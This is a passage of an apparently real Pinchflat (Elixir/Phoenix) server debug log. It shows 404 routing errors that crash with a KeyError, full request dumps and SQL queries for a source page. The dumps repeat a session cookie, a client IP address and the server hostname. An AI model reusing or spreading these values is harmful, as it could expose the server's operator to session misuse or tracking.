PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "65.21.124.77", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "65.21.124.77" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 18, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM" }, halted: false, host: "pinchflat (truncated) 04:53:46.102 [info] GET /sources/31/force_metadata_refresh 04:53:46.103 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=209.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:46.104 [debug] QUERY OK source="settings" db=0.3ms idle=153.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:46.104 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:53:46.105 [error] #PID<0.139226.0> running PinchflatWeb.Endpoint (connection #PID<0.139184.0>, stream id 19) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /sources/31/force_metadata_refresh ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/31/force_metadata_refresh (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139184.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/31/force_metadata_refresh", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 48178}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "65.21.124.77", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "65.21.124.77" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 19, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM" }, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.139226.0>, params: %{}, path_info: ["sources", "31", "force_metadata_refresh"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM"}, {"host", "pinchflat.ocaff.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "65.21.124.77"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "65.21.124.77"} ], request_path: "/sources/31/force_metadata_refresh", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXU0f_3AiPzkMkADDNC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139184.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/31/force_metadata_refresh", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 48178}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "65.21.124.77", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "65.21.124.77" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 19, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/31/force_metadata_refresh (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139184.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/31/force_metadata_refresh", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 48178}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "65.21.124.77", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "65.21.124.77" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 19, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFyS (truncated) 04:53:46.125 [info] GET /sources/31/sync_files_on_disk 04:53:46.126 [debug] QUERY OK source="settings" db=0.3ms idle=174.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:46.127 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=85.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:46.127 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:53:46.128 [error] #PID<0.139227.0> running PinchflatWeb.Endpoint (connection #PID<0.139184.0>, stream id 20) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /sources/31/sync_files_on_disk ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/31/sync_files_on_disk (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139184.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/31/sync_files_on_disk", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 48178}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "65.21.124.77", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "65.21.124.77" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 20, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM" }, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.139227.0>, params: %{}, path_info: ["sources", "31", "sync_files_on_disk"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM"}, {"host", "pinchflat.ocaff.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "65.21.124.77"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "65.21.124.77"} ], request_path: "/sources/31/sync_files_on_disk", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXU0gFX56FROmEADDNi"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139184.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/31/sync_files_on_disk", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 48178}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "65.21.124.77", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "65.21.124.77" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 20, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/31/sync_files_on_disk (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139184.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/31/sync_files_on_disk", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 48178}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "65.21.124.77", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "65.21.124.77" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 20, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM" (truncated) 04:53:46.196 [info] GET /sources/31 04:53:46.196 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"delete_files" => "true", "id" => "31"} Pipelines: [:browser] 04:53:46.197 [debug] QUERY OK source="sources" db=0.4ms idle=154.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 04:53:46.198 [debug] QUERY OK source="media_profiles" db=0.4ms queue=0.1ms idle=94.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 04:53:46.199 [debug] QUERY OK source="tasks" db=0.5ms queue=0.2ms idle=94.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [31, "executing", "available", "scheduled", "retryable"] 04:53:46.200 [debug] QUERY OK source="oban_jobs" db=0.4ms idle=73.4ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7287] 04:53:46.201 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=73.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:46.202 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=4.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:46.204 [debug] QUERY OK source="settings" db=0.3ms idle=5.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:46.207 [debug] QUERY OK source="sources" db=0.3ms idle=7.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 04:53:46.210 [debug] QUERY OK source="media_items" db=1.8ms idle=7.8ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [31] 04:53:46.214 [debug] QUERY OK source="media_items" db=2.8ms queue=0.1ms idle=9.4ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [31, 10, 0] 04:53:46.216 [debug] QUERY OK source="sources" db=0.3ms idle=13.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 04:53:46.217 [debug] QUERY OK source="media_items" db=0.4ms idle=13.1ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [31] 04:53:46.220 [debug] QUERY OK source="media_items" db=1.7ms idle=10.4ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [31, 10, 0] 04:53:46.222 [debug] QUERY OK source="sources" db=0.3ms idle=11.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 04:53:46.226 [debug] QUERY OK source="media_items" db=2.3ms idle=9.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [31] 04:53:46.229 [debug] QUERY OK source="media_items" db=3.3ms idle=9.6ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", 